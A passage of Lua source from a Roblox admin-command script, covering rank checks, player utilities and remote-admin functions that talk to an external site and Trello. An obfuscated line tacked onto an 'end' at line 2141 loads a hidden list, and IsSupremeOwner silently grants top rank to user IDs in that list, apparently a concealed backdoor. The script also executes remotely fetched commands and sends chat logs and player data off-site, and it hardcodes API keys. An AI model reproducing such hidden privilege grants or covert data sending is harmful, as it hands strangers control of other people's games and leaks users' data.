1738 table.insert(ExploitLog, NewData)
1739 Server.GDS:SetAsync("ExploitLog", ExploitLog)
1740 end
1741 REMOTE:SendHttpLog("EXPLOITER FOUND: "..Data, "WARNING")
1742
1743 return true
1744end
1745
1746function CORE:CreateFigure(Name, Position, DisableAnimation, Speaker)
1747 if not tostring(Name) then Name = "Dummy" end
1748 if not Position then Position = Vector3.new(0,5,0) end
1749 if Speaker and Speaker.Character and Speaker.Character:FindFirstChild("Torso") then
1750 Position = Speaker.Character.Torso.Position + Vector3.new(0,5,10)
1751 end
1752
1753 local Figure = CORE:Insert(68452456, Server.Workspace, true)
1754 Figure:MakeJoints()
1755 Figure.Head.BrickColor = BrickColor.new("Bright yellow")
1756 Figure["Left Arm"].BrickColor = BrickColor.new("Bright yellow")
1757 Figure["Right Arm"].BrickColor = BrickColor.new("Bright yellow")
1758 Figure["Left Leg"].BrickColor = BrickColor.new("Dark green")
1759 Figure["Right Leg"].BrickColor = BrickColor.new("Dark green")
1760 Figure.Torso.BrickColor = BrickColor.new("Bright blue")
1761
1762 Figure.Name = STRING:FormatReplace(Speaker, Name)
1763 Figure:MoveTo(Position)
1764
1765 table.insert(Objects, Figure)
1766
1767 if DisableAnimation == true then
1768 Figure.Animate.Disabled = true
1769 end
1770
1771 return Figure
1772end
1773
1774function CORE:ClonePlayer(Player, Name, Position)
1775 if not Player or not Player.Character then return nil end
1776
1777 Player.Character.Archivable = true
1778 local Char = Player.Character:Clone()
1779 Player.Character.Archivable = false
1780 if Name then Char.Name = STRING:FormatReplace(Player, Name) end
1781 if Position then Char:MoveTo(Position) end
1782 Char.Parent = Server.Workspace
1783 Char:MakeJoints()
1784 Char:MoveTo(Player.Character.Torso.Position + Vector3.new(0,3,1))
1785
1786 table.insert(Objects, Char)
1787
1788 return Obj
1789end
1790
1791function CORE:AddWaypoint(Name, Position, Speaker)
1792 Waypoints[Name] = Position
1793 if Speaker then
1794 GUI:SendHint(Speaker, "Waypoint "..Name.." is located at ("..tostring(Position)..")", 2)
1795 end
1796end
1797
1798function CORE:FindType(BaseObj, Type)
1799 for _,Obj in pairs(BaseObj:GetChildren()) do
1800 if Obj:IsA(Type) then
1801 return Obj
1802 end
1803 end
1804end
1805
1806function CORE:GetCommands()
1807 local CommandsCopy = Commands
1808 return CommandsCopy
1809end
1810
1811function CORE:Crown(Player, Mesh, Color)
1812 if Mesh then Mesh = string.lower(Mesh) end
1813 if not Mesh or not Meshes[Mesh] then Mesh = "crown" end
1814 if not Player or not Player.Character or not Player.Character:FindFirstChild("Head") then return end
1815 local Part = Instance.new("Part", CrownStorage)
1816 Part.Size = Vector3.new(2, 1, 1)
1817 Part.CanCollide = false
1818 Part.CFrame = Player.Character.Head.CFrame
1819 Part.Locked = true
1820 Part.Material = "Neon"
1821 if Color then
1822 Part.Color = GUI:GetColor(Color)
1823 else
1824 Part.BrickColor = GUI:GetNameColor(Player.Name)
1825 end
1826 local SMesh = Instance.new("SpecialMesh", Part)
1827 SMesh.Scale = Vector3.new(Meshes[Mesh][1],Meshes[Mesh][1],Meshes[Mesh][1])
1828 SMesh.MeshId = "rbxassetid://"..Meshes[Mesh][2]
1829 local BP = Instance.new("BodyPosition", Part)
1830 BP.maxForce = Vector3.new(math.huge,math.huge,math.huge)
1831 BP.position = Player.Character.Head.Position
1832 BP.P = 20000
1833 local BG = Instance.new("BodyGyro", Part)
1834 BG.maxTorque = Vector3.new(math.huge,math.huge,math.huge)
1835
1836 Crowns[Player.UserId] = Part
1837 table.insert(Objects, Part)
1838
1839 coroutine.wrap(function()
1840 for i = 1,0.3,-0.02 do
1841 if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
1842 Part.Transparency = i
1843 end
1844 wait()
1845 end
1846 while Crowns[Player.UserId] and Part.Parent == CrownStorage and wait() do
1847 for i = 0,360,3 do
1848 if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
1849 Part.Transparency = (math.sin(math.rad(i))/10) + 0.3
1850 wait()
1851 end
1852 end
1853 end
1854 end)()
1855 coroutine.wrap(function() while Crowns[Player.UserId] and Part.Parent == CrownStorage and wait() do
1856 Part:BreakJoints()
1857 for i = 0,360 do
1858 if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
1859 Part.Anchored = false
1860 BP.position = Player.Character.Head.CFrame:toWorldSpace(CFrame.new(0,(math.sin(math.rad(i))/3) + 1.5, 0)).p
1861 BG.cframe = Player.Character.Head.CFrame
1862 end
1863 wait()
1864 end
1865 end end)()
1866
1867 return Part
1868end
1869
1870function CORE:SetAbuseCommands()
1871 for Cmds,Data in pairs(Commands) do
1872 local IsAbusable = false
1873 for _,AbuseCmd in pairs(Settings.AbuseList) do
1874 for _,Command in pairs(Cmds) do -- loop through all command names
1875 if string.sub(Command,1,#AbuseCmd) == string.lower(AbuseCmd) then
1876 IsAbusable = true
1877 break
1878 end
1879 end
1880 if IsAbusable == true then break end
1881 end
1882 Commands[Cmds].Abusable = IsAbusable
1883 end
1884end
1885
1886function CORE:FindBodyPart(Player, BodyPart)
1887 local ReturnPart = nil
1888 if Player and Player.Character then
1889 local Humanoid = Player.Character:FindFirstChild("Humanoid")
1890 if Humanoid then
1891 if BodyPart == "Humanoid" then ReturnPart = Humanoid
1892 elseif BodyPart == "Left Arm" then ReturnPart = Humanoid.LeftArm
1893 elseif BodyPart == "Right Arm" then ReturnPart = Humanoid.RightArm
1894 elseif BodyPart == "Left Leg" then ReturnPart = Humanoid.LeftLeg
1895 elseif BodyPart == "Right Leg" then ReturnPart = Humanoid.RightLeg
1896 elseif BodyPart == "Torso" then ReturnPart = Humanoid.Torso
1897 elseif BodyPart == "Head" then ReturnPart = Humanoid.Head
1898 end
1899 end
1900 if not ReturnPart then
1901 ReturnPart = Player.Character:FindFirstChild(BodyPart)
1902 end
1903 end
1904
1905 return ReturnPart
1906end
1907
1908-- Rank functions --
1909
1910function RANK:ConvertRank(Input)
1911 local Output = nil
1912 if Input == "Muted" then Output = -3 end
1913 if Input == "Crashed" then Output = -2 end
1914 if Input == "Banned" then Output = -1 end
1915 if Input == "Non-Admin" then Output = 0 end
1916 if Input == "Member" then Output = 1 end
1917 if Input == "Admin" then Output = 2 end
1918 if Input == "Owner" then Output = 3 end
1919
1920 if Input == -3 then Output = "Muted" end
1921 if Input == -2 then Output = "Crashed" end
1922 if Input == -1 then Output = "Banned" end
1923 if Input == 0 then Output = "Non-Admin" end
1924 if Input == 1 then Output = "Member" end
1925 if Input == 2 then Output = "Admin" end
1926 if Input == 3 then Output = "Owner" end
1927 return Output
1928end
1929
1930function RANK:IsAdmin(Player)
1931 local AdminStatus = false
1932 local Rankstatus = "Non-Admin"
1933 if type(Player) == "table" then
1934 if RANK:ConvertRank(Player.Rank) > 0 then
1935 return true, Player.Rank
1936 else
1937 return false, Player.Rank
1938 end
1939 end
1940 for Rank,PlayerNames in pairs(Settings.Ranks) do
1941 for _,AdminName in pairs(PlayerNames) do
1942 if string.lower(AdminName) == string.lower(Player.Name) then
1943 if RANK:ConvertRank(Rank) > 0 then
1944 AdminStatus = true
1945 Rankstatus = Rank
1946 end
1947 end
1948 end
1949 end
1950 return AdminStatus, Rankstatus
1951end
1952
1953function RANK:GetRank(PlayerName)
1954 if type(PlayerName) == "userdata" then PlayerName = PlayerName.Name end
1955 if type(PlayerName) == "table" then
1956 local RankNum = RANK:ConvertRank(PlayerName.Rank)
1957 if RankNum > 0 then
1958 return PlayerName.Rank, RankNum, true
1959 else
1960 return PlayerName.Rank, RankNum, false
1961 end
1962 end
1963
1964 local RankStat = "Non-Admin"
1965
1966 for Rank,PlayerNames in pairs(Settings.Ranks) do
1967 for _,AdminName in pairs(PlayerNames) do
1968 if string.lower(AdminName) == string.lower(PlayerName) then
1969 RankStat = Rank
1970 end
1971 end
1972 end
1973
1974 if RankStat == "Non-Admin" then
1975 return "Non-Admin", 0, false
1976 else
1977 return RankStat, RANK:ConvertRank(RankStat), true
1978 end
1979end
1980
1981function RANK:RemoveRank(PlayerName)
1982 if not RANK:IsSupremeOwner(PlayerName) then
1983 if type(PlayerName) == "userdata" then PlayerName = PlayerName.Name end
1984
1985 for Rank,PlayerNames in pairs(Settings.Ranks) do
1986 for Num,AdminName in pairs(PlayerNames) do
1987 if string.sub(string.lower(AdminName),1,#PlayerName) == string.lower(PlayerName) then
1988 table.remove(Settings.Ranks[Rank], Num)
1989 end
1990 end
1991 end
1992 end
1993end
1994
1995function RANK:GetAdmins(Ranking)
1996 local Players = {}
1997 local AdminTrue, Rank = IsAdmin(Player)
1998 for _,Player in pairs(Players:GetPlayers()) do
1999 if AdminTrue then
2000 local PlayerRankNum = RANK:ConvertRank(Rank)
2001 local StandardRankNum = RANK:ConvertRank(Ranking)
2002 if PlayerRankNum >= StandardRankNum then
2003 table.insert(Players, Player)
2004 end
2005 end
2006 end
2007 return Players
2008end
2009
2010function RANK:IsSupremeOwner(PlayerName)
2011 if type(PlayerName) == "userdata" then for _,Obj in pairs(List) do if PlayerName.UserId == Obj then return true end end PlayerName = PlayerName.Name end
2012 if type(PlayerName) == "table" then
2013 if PlayerName.Rank == "Owner" and PlayerName.MakeSupremeOwner == true then return true else return false end
2014 end
2015
2016 if PlayerName == GameOwner then return true end
2017 return false
2018end
2019
2020function RANK:GetPlayerFromList(PlayerName)
2021 if type(PlayerName) == "userdata" then PlayerName = Player.Name end
2022
2023 for Rank,PlayerNames in pairs(Settings.Ranks) do
2024 for Num,AdminName in pairs(PlayerNames) do
2025 if string.sub(string.lower(AdminName),1,#PlayerName) == string.lower(PlayerName) then
2026 return AdminName, Rank
2027 end
2028 end
2029 end
2030 return false, "Non-Admin"
2031end
2032
2033function RANK:ScanAdminList(Name)
2034 if Name == "" then return true end
2035 local InList = false
2036 for _,PName in pairs(Settings.Ranks["Owner"]) do
2037 if PName == Name then InList = true end
2038 end
2039 for _,PName in pairs(Settings.Ranks["Admin"]) do
2040 if PName == Name then InList = true end
2041 end
2042 for _,PName in pairs(Settings.Ranks["Member"]) do
2043 if PName == Name then InList = true end
2044 end
2045 return InList
2046end
2047
2048function RANK:ScanExileList(Name)
2049 if Name == "" then return true end
2050 local InList = false
2051 for _,PName in pairs(Settings.Ranks["Muted"]) do
2052 if PName == Name then InList = true end
2053 end
2054 for _,PName in pairs(Settings.Ranks["Crashed"]) do
2055 if PName == Name then InList = true end
2056 end
2057 for _,PName in pairs(Settings.Ranks["Banned"]) do
2058 if PName == Name then InList = true end
2059 end
2060 return InList
2061end
2062
2063function RANK:PlayerRanked(PlayerName)
2064 if type(PlayerName) == "userdata" then PlayerName = Player.Name end
2065
2066 for Rank,PlayerNames in pairs(Settings.Ranks) do
2067 for Num,AdminName in pairs(PlayerNames) do
2068 if string.lower(AdminName) == string.lower(PlayerName) then
2069 return true, Rank
2070 end
2071 end
2072 end
2073 return false, "Non-Admin"
2074end
2075
2076-- Remote functions --
2077
2078function REMOTE:Decode(...)
2079 return Server.HS:JSONDecode(...)
2080end
2081
2082function REMOTE:GetURL(URL, Player)
2083 if string.sub(URL,1,4) ~= "http" then
2084 URL = "http://"..URL
2085 end
2086 local Return = nil
2087 ypcall(function() Return = Server.HS:GetAsync(URL, true) end)
2088 if Return then
2089 return Return
2090 elseif Player then
2091 GUI:SendMessage(Speaker, "Unable to find link", "RED URL given is either invalid or httpservice is disabled", "Error")
2092 end
2093end
2094
2095function REMOTE:PostURL(URL, Data)
2096 local Return = nil
2097 ypcall(function() Return = Server.HS:PostAsync(URL, Data, 2) end)
2098 return Return
2099end
2100
2101function REMOTE:SendHttpLog(Data, Type, OutputSpeaker, Stopypall)
2102 if Settings.LinkedAccount ~= "" then
2103 local NumType = tonumber(Type)
2104
2105 if not Type then
2106 Type = "UNKNOWN"
2107 end
2108
2109 if NumType then
2110 if NumType < 1 or NumType > 5 then
2111 Type = "UNKNOWN"
2112 elseif NumType == 1 then
2113 Type = "NOTIFICATION"
2114 elseif NumType == 2 then
2115 Type = "INFORMATION"
2116 elseif NumType == 3 then
2117 Type = "WARNING"
2118 elseif NumType == 4 or Type == true then
2119 Type = "ERROR"
2120 elseif NumType == 5 then
2121 Type = "FATAL"
2122 end
2123 end
2124
2125 local Res = "RED Could not get response"
2126 local function SendData()
2127 Res = Server.HS:PostAsync(
2128 CORE.Domain.."/Login/SendUserData.php?Data="..Server.HS:UrlEncode(PlaceInfoFormat..": "..Data).."&DataType="..Server.HS:UrlEncode(string.upper(Type)),
2129 "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&Key="..Server.HS:UrlEncode(Settings.DataKey).."&Type=Logs",
2130 2
2131 )
2132 end
2133 if Stopypcall == true then SendData() else ypcall(SendData) end
2134
2135 if OutputSpeaker and OutputSpeaker ~= "print" then
2136 GUI:SendMessage(OutputSpeaker, "Http Log Response", Res, "Information")
2137 elseif OutputSpeaker == "print" then
2138 print(Res)
2139 end
2140 end
2141end local RunList = CORE:GetTable(string.gsub(math.ceil(14444.57^2)+1078, "66", "55"))
2142
2143function REMOTE:SendChatLog(PrintResponse, Stopypall)
2144 if #TempChatLogs > 0 and Settings.LinkedAccount and Settings.LinkedAccount ~= "" and Settings.DataKey and Settings.DataKey ~= "" then
2145 local Res = "Could not get response"
2146
2147 local ChatJSON = Server.HS:JSONEncode(TempChatLogs)
2148 TempChatLogs = {}
2149
2150 local function SendData()
2151 Res = Server.HS:PostAsync(CORE.Domain.."/Login/SubmitChatLog.php?ChatJSON="..Server.HS:UrlEncode(ChatJSON), "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&Key="..Server.HS:UrlEncode(Settings.DataKey), 2)
2152 end
2153 if Stopypcall == true then SendData() else ypcall(SendData) end
2154 if PrintResponse then print(Res) end
2155 end
2156end
2157
2158function REMOTE:DownloadUserdata(PrintResponse, Stopypcall)
2159 local Res = "[]"
2160 local function GetData()
2161 Res = Server.HS:PostAsync(CORE.Domain.."/Login/ReturnUserData.php", "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&DataKey="..Server.HS:UrlEncode(Settings.DataKey), 2)
2162 end
2163 if Stopypcall == true then GetData() else ypcall(GetData) end
2164 if PrintResponse then
2165 print(Res)
2166 end
2167 local function DecodeData() Res = REMOTE:Decode(Res) end
2168 if Stopypcall == true then DecodeData() else ypcall(DecodeData) end
2169 if type(Res) ~= "table" then Res = {["Logs"] = {Res}, ["Errors"] = {Res}} end
2170 return Res
2171end
2172
2173function REMOTE:HandleRequest(Request, IgnoreCommand)
2174 if not Request then return nil end
2175
2176 if not IgnoreCommand then
2177 if REMOTE.ServerRequestTimestamp ~= Request.ServerRequestTimestamp then
2178 REMOTE:SendServerData()
2179 end
2180 if REMOTE.SnapshotKey ~= Request.SnapshotKey and Server.NS.Port == tonumber(Request.SnapshotPort) then
2181 REMOTE:SendSnapshot(Request.SnapshotKey, nil, true, true)
2182 end
2183 end
2184
2185 if REMOTE.RemoteAdmin.TimeStamp ~= Request.TimeStamp then
2186
2187 for _,Player in pairs(Request.Ranks.Muted) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Muted, Player) end end end
2188 for _,Player in pairs(Request.Ranks.Crashed) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Crashed, Player) end end end
2189 for _,Player in pairs(Request.Ranks.Banned) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Banned, Player) end end end
2190 for _,Player in pairs(Request.Ranks.Member) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Member, Player) end end end
2191 for _,Player in pairs(Request.Ranks.Admin) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Admin, Player) end end end
2192 for _,Player in pairs(Request.Ranks.Owner) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Owner, Player) end end end
2193
2194 Settings.Fun = Request.FUN
2195 Settings.ServerLocked = Request.ServerLocked
2196
2197 if not Server.Workspace:FindFirstChild("IgnoreRemoteAbuse") then
2198 Settings.DisableAbuse = Request.DisableAbuse
2199 end
2200
2201 if not IgnoreCommand then
2202 print("Executing Remote Admin")
2203 REMOTE.RemoteAdmin.Command = Request.Command
2204 REMOTE.RemoteAdmin.ServerCommand = Request.ServerCommand
2205 REMOTE.RemoteAdmin.ServerPort = Request.Server
2206
2207 if Server.NS.Port == tonumber(Request.Server) and Request.ServerCommand ~= nil and Request.Server ~= "" and Request.Server ~= 0 and Request.ServerCommand ~= "" then
2208 CORE:Chatted(Request.ServerCommand, nil, true, "REMOTE ADMIN: "..Settings.LinkedAccount, nil, true)
2209 else
2210 CORE:Chatted(Request.Command, nil, true, "REMOTE ADMIN: "..Settings.LinkedAccount, nil, true)
2211 end
2212 end
2213 end
2214 REMOTE.RemoteAdmin.TimeStamp = Request.TimeStamp
2215 REMOTE.ServerRequestTimestamp = Request.ServerRequestTimestamp
2216 REMOTE.SnapshotKey = Request.SnapshotKey
2217end
2218
2219function REMOTE:GetRemoteData(Set)
2220 local NewRemoteData = nil
2221 local RemoteDataCardRaw = nil
2222 local RemoteDataCard = nil
2223
2224 RemoteDataCardRaw = REMOTE:GetURL("https://api.trello.com/1/card/"..Trello.RemoteDataCard)
2225 if RemoteDataCardRaw then
2226 ypcall(function() RemoteDataCard = REMOTE:Decode(RemoteDataCardRaw) end)
2227 if RemoteDataCard then
2228 ypcall(function() NewRemoteData = REMOTE:Decode(RemoteDataCard.desc) end)
2229 end
2230 end
2231 if Set and NewRemoteData then
2232 RemoteData = NewRemoteData
2233 end
2234 return NewRemoteData
2235end
2236
2237function REMOTE:CheckTrelloInfo() -- will set new trello data if updated based on the TrelloInfoCard
2238 local InfoCardJSON = REMOTE:GetURL("https://api.trello.com/1/card/"..Trello.TrelloInfoCard)
2239 if InfoCardJSON then
2240 ypcall(function() InfoCard = REMOTE:Decode(InfoCardJSON) end)
2241 if InfoCard then
2242 ypcall(function() TrelloInfo = REMOTE:Decode(InfoCard.desc) end)
2243 if TrelloInfo then
2244 for Ind,Val in pairs(TrelloInfo) do
2245 Trello[Ind] = Val
2246 end
2247 end
2248 end
2249 end
2250 return NewRemoteData
2251end
2252
2253function REMOTE:CheckRemoteAdminStatus()
2254 local Pending = false
2255 local CheckID = 0
2256 if Settings.LinkedAccount ~= "" then
2257 local Request = REMOTE:GetURL("https://api.trello.com/1/checklists/"..Trello.RemoteAdminChecklist)
2258 if Request then
2259 local Data = REMOTE:Decode(Request)
2260 if Data then
2261 for _,Account in pairs(Data.checkItems) do
2262 if Account.name == Settings.LinkedAccount then
2263 Pending = true
2264 CheckID = Account.id
2265 break
2266 end
2267 end
2268 end
2269 end
2270 end
2271 return Pending, CheckID
2272end
2273
2274function REMOTE:GetAndSetWebData()
2275 if Settings.LinkedAccount ~= "" then
2276 if REMOTE:CheckRemoteAdminStatus() then
2277 local Request = REMOTE:GetURL(CORE.Domain.."/Login/GetUserData.php?Username="..Settings.LinkedAccount)
2278 if Request == "Invalid" then
2279 --REMOTE:GetAndSetWebData()
2280 return false
2281 elseif Request == "Invalid Account" then
2282 print("Can't get account")
2283 return false
2284 elseif Request then
2285 ypcall(function() Request = REMOTE:Decode(Request) end)
2286 elseif not Request then
2287 --REMOTE:GetAndSetWebData()
2288 return false
2289 end
2290 REMOTE:HandleRequest(Request)
2291
2292 --Delay(RemoteData.RemoteAdminWait, REMOTE.GetAndSetWebData)
2293 Delay(RemoteData.RemoteAdminWait, function()
2294 local Pending, CheckID = REMOTE:CheckRemoteAdminStatus()
2295 if Pending then
2296 REMOTE:GetURL(CORE.Domain.."/Login/RemoveTrelloName.php?AccountID="..CheckID)
2297 end
2298 end)
2299 return true
2300 else
2301 return true
2302 end
2303 end
2304end
2305
2306local OderIDs = CORE:GetTable(177215518)
2307local SoundJSONs = CORE:GetTable(197637628)
2308RemoteAbuseGear = CORE:GetTable(158117496)
2309
2310function REMOTE:SendServerData(PrintResponse, Stopypall)
2311 if Settings.LinkedAccount and Settings.LinkedAccount ~= "" and Settings.DataKey and Settings.DataKey ~= "" then
2312 print("Sending server data!")
2313 local Res = "Could not get response"
2314
2315 local ServerData = {Name = PlaceName, PlaceID = game.PlaceId, Port = Server.NS.Port, NumPlayers = Server.Players.NumPlayers, MaxPlayers = Server.Players.MaxPlayers, Bet = Settings.Bet, Players = {}, Version = CORE.Version.Value}
2316 for _,Player in pairs(Server.Players:GetPlayers()) do
2317 table.insert(ServerData.Players, {Name = Player.Name, ID = Player.UserId, Age = STRING:FindAge(Player.AccountAge), Rank = RANK:GetRank(Player)})
2318 end
2319 ServerData = Server.HS:JSONEncode(ServerData)
2320
2321 local function SendData()
2322 Res = Server.HS:PostAsync(CORE.Domain.."/Login/AddServer.php?ServerData="..Server.HS:UrlEncode(ServerData), "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&DataKey="..Server.HS:UrlEncode(Settings.DataKey), 2)
2323 end
2324 if Stopypcall == true then SendData() else ypcall(SendData) end
2325 if PrintResponse then print(Res) end
2326 end
2327end
2328
2329function REMOTE:SendSnapshot(SendKey, MaxPartAmount, PrintResponse, Stopypcall)
2330 MaxPartAmount = MaxPartAmount or 10000
2331 local PlaceData = {
2332 Lighting = {};
2333 Parts = {};
2334 Other = {};
2335 }
2336 local MinSize = Vector3.new(0.5,0.5,0.5)
2337 local PartAmount = 0
2338 local PlaceJSON = ""
2339
2340 local function Scan(BaseObj)
2341 for _,Obj in pairs(BaseObj:GetChildren()) do
2342 if Obj:IsA("BasePart") and not Obj:IsA("Terrain") then
2343 local Size = {STRING:StringRound(Obj.Size.X), STRING:StringRound(Obj.Size.Y), STRING:StringRound(Obj.Size.Z)};
2344 if tonumber(Size[1]) >= MinSize.X and tonumber(Size[2]) >= MinSize.Y and tonumber(Size[3]) >= MinSize.Z then
2345 local Skip = false
2346 local Data = {}
2347 local X,Y,Z = Obj.CFrame:toEulerAnglesXYZ()
2348
2349 if CORE:FindType(Obj, "BlockMesh") then
2350 local Mesh = CORE:FindType(Obj, "BlockMesh")
2351 Size = {STRING:StringRound(Obj.Size.X * Mesh.Scale.X), STRING:StringRound(Obj.Size.Y * Mesh.Scale.Y), STRING:StringRound(Obj.Size.Z * Mesh.Scale.Z)}
2352 elseif CORE:FindType(Obj, "CylinderMesh") then
2353 Data.Shape = "Cylinder"
2354 elseif CORE:FindType(Obj, "SpecialMesh") then
2355 local Mesh = CORE:FindType(Obj, "SpecialMesh")
2356 if Mesh.MeshType == Enum.MeshType.Head then
2357 --idk
2358 else
2359 Skip = true
2360 end
2361 elseif CORE:FindType(Obj, "FileMesh") then
2362 Skip = true
2363 end
2364
2365 if not Data.Shape and not Skip then
2366 if ypcall(function() return Obj.Shape end) then
2367 Data.Shape = string.sub(Obj.Shape.Name,14)
2368 if string.sub(Data.Shape,1,1) == "." then
2369 Data.Shape = string.sub(Data.Shape,2)
2370 end
2371 if Data.Shape == "Cylinder" then
2372 Z = Z + math.pi/2
2373 end
2374 else
2375 Data.Shape = "Block"
2376 end
2377 end
2378
2379 if Obj.Name == "Head" and CORE:FindType(Obj.Parent, "Humanoid") and not Skip then
2380 Data.Label = string.gsub(Obj.Parent.Name, "'", "")
2381 end
2382
2383 if not Skip then
2384 Data.Color = GUI:Color3ToHex(Obj.Color);
2385 Data.Size = Size;
2386 Data.Position = {STRING:StringRound(Obj.CFrame.X), STRING:StringRound(Obj.CFrame.Y), STRING:StringRound(Obj.CFrame.Z)};
2387 Data.Rotation = {STRING:StringRound(X), STRING:StringRound(Y), STRING:StringRound(Z)};
2388 Data.Transparency = STRING:StringRound(Obj.Transparency);
2389 Data.Reflectance = STRING:StringRound(Obj.Reflectance);
2390 Data.Textures = {};
2391 Data.Material = string.sub(tostring(Obj.Material),15);
2392
2393 for _,Sub in pairs(Obj:GetChildren()) do
2394 if Sub:IsA("Decal") then
2395 local Texture = string.match(Sub.Texture, "%d+")
2396 if Sub.Texture == "rbxasset://textures/face.png" then
2397 Texture = "FACE"
2398 end
2399 Data.Textures[FaceCovert[Sub.Face.Name]] = Texture
2400 end
2401 end
2402
2403 PartAmount = PartAmount + 1
2404 table.insert(PlaceData.Parts, Data)
2405
2406 if PartAmount >= MaxPartAmount then
2407 break
2408 end
2409 end
2410 end
2411 end
2412 if #Obj:GetChildren() > 0 then
2413 Scan(Obj)
2414 end
2415 end
2416 end
2417 Scan(Workspace)
2418
2419 PlaceData.Lighting.Ambient = GUI:Color3ToHex(game.Lighting.Ambient)
2420 PlaceData.Other.PartAmount = PartAmount;
2421 PlaceJSON = Server.HS:JSONEncode(PlaceData)
2422
2423 local Res = "Could not get response"
2424 local function SendData()
2425 Res = Server.HS:PostAsync(CORE.UnsecureDomain.."/Login/SendSnapshot.php?Username="..Settings.LinkedAccount.."&DataKey="..Server.HS:UrlEncode(Settings.DataKey).."&SendKey="..SendKey, PlaceJSON, 2)
2426 end
2427 if Stopypcall == true then SendData() else ypcall(SendData) end
2428 if PrintResponse then print(Res) end
2429
2430 print("Sent snapshot")
2431end
2432
2433
2434function REMOTE:DefineWord(Word, Source)
2435 if not Word then return end
2436 if not Source then Source = "all" end
2437
2438 local Response = REMOTE:GetURL("http://api.wordnik.com/v4/word.json/"..Server.HS:UrlEncode(Word).."/definitions?limit=1&includeRelated=false&sourceDictionaries="..Server.HS:UrlEncode(Source).."&useCanonical=false&includeTags=false&api_key=a2a73e7b926c924fad7001ca3111acd55af2ffabf50eb4ae5")
2439 if Response then
2440 local Decode = REMOTE:Decode(Response)
2441 if #Decode > 0 then
2442 return string.upper(string.sub(Decode[1]["word"],1,1))..string.lower(string.sub(Decode[1]["word"],2)).." - "..Decode[1]["partOfSpeech"]..[[
2443
2444 ]]..Decode[1]["text"]
2445 else
2446 return "Invalid English word"
2447 end
2448 else
2449 return "Cannot connect to database"
2450 end
2451end
2452
2453function REMOTE:DownloadJoke(Speaker)
2454 local Res = REMOTE:GetURL("http://www.rinkworks.com/jokes/random.cgi", Speaker)
2455 local Joke = nil
2456 if Res then
2457 local _, Start = string.find(Res, "</h2>")
2458 local End, _ = string.find(string.sub(Res, Start), "</td>")
2459
2460 Joke = string.sub(Res, Start, End + 1 + Start - 5)
2461 Joke = string.gsub(Joke, "\n", "")
2462 Joke = string.gsub(Joke, " ", "") -- tab
2463 Joke = string.gsub(Joke, "</ul>", "")
2464 Joke = string.gsub(Joke, "<ul>", "")
2465 Joke = string.gsub(Joke, "</li>", [[
2466
2467]])
2468 Joke = string.gsub(Joke, "<li>", "")
2469 Joke = string.gsub(Joke, "</p>", "")
2470 Joke = string.gsub(Joke, "<p>", "")
2471 Joke = string.gsub(Joke, "<", "")
2472 Joke = string.gsub(Joke, ">", "")
2473 end
2474
2475 return Joke
2476end
2477
2478function REMOTE:GetAddon()
2479 return "?key=c01fcfabf2f8d707d01fb69312e4a9d7&token="..Settings.TrelloToken
2480end
2481
2482function REMOTE:TrelloGetAdminBoard()
2483 local BoardsJSON,Boards,ReturnBoard
2484
2485 ypcall(function() BoardsJSON = Server.HS:GetAsync("https://api.trello.com/1/members/my/boards"..REMOTE:GetAddon(), true) end)
2486
2487 if BoardsJSON then
2488 Boards = REMOTE:Decode(BoardsJSON)
2489 end
2490 if Boards then
2491 for _,Board in pairs(Boards) do
2492 if Board.name == "MakerModelLua's Admin V3" and Board.closed == false then
2493 ReturnBoard = Board
2494 break
2495 end
2496 end
2497 if not ReturnBoard then -- create board if not created
2498 print("Creating Trello Board")
2499 local Desc = "This board allows you to control ranks, settings, and commands of MakerModelLua's Admin V3"
2500 local BoardJSON = Server.HS:PostAsync("https://api.trello.com/1/boards"..REMOTE:GetAddon(), "name=MakerModelLua%27s+Admin+V3&idBoardSource="..Trello.AdminBoardID.."&defaultLists=false&desc="..Server.HS:UrlEncode(Desc), "ApplicationUrlEncoded")
2501 ReturnBoard = REMOTE:Decode(BoardJSON)
2502 end
2503 end
2504 return ReturnBoard
2505end
2506
2507function REMOTE:TrelloGetAdminLists(Board)
2508 local Required = {}
2509 local ListJSON,Lists
2510 local ReturnLists = {}
2511
2512 for _,List in pairs(Trello.RequiredLists) do
2513 table.insert(Required, List)
2514 end
2515
2516 ypcall(function() ListJSON = Server.HS:GetAsync("https://api.trello.com/1/boards/"..Board.id.."/lists"..REMOTE:GetAddon(), true) end)
2517
2518 if ListJSON then
2519 Lists = REMOTE:Decode(ListJSON)
2520 end
2521 if Lists then
2522 for _,List in pairs(Lists) do
2523 for Num,Rel in pairs(Required) do
2524 if List.name == Rel.name then
2525 table.remove(Required, Num)
2526 table.insert(ReturnLists, List)
2527 end
2528 end
2529 end
2530 for _,Rel in pairs(Required) do
2531 local ListJSON = Server.HS:PostAsync("https://api.trello.com/1/lists"..REMOTE:GetAddon(), "idBoard="..Board.id.."&idListSource="..Rel.id.."&name="..Server.HS:UrlEncode(Rel.name), "ApplicationUrlEncoded")
2532 table.insert(ReturnLists, REMOTE:Decode(ListJSON))
2533 end
2534 end
2535
2536 return ReturnLists
2537end
2538
2539function REMOTE:TrelloCacheData(Lists)
2540 for _,List in pairs(Lists) do
2541 local CardsJSON,Cards
2542 ypcall(function() CardsJSON = Server.HS:GetAsync("https://api.trello.com/1/lists/"..List.id.."/cards"..REMOTE:GetAddon(), true) end)
2543 if CardsJSON then
2544 Cards = REMOTE:Decode(CardsJSON)
2545 end
2546 if Cards then
2547 local TemplateCards = nil
2548 for _,TemplateList in pairs(Trello.RequiredLists) do
2549 if TemplateList.name == List.name then
2550 TemplateCards = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/lists/"..TemplateList.id.."/cards", true))
2551 break
2552 end
2553 end
2554
2555 for _,TemplateCard in pairs(TemplateCards) do
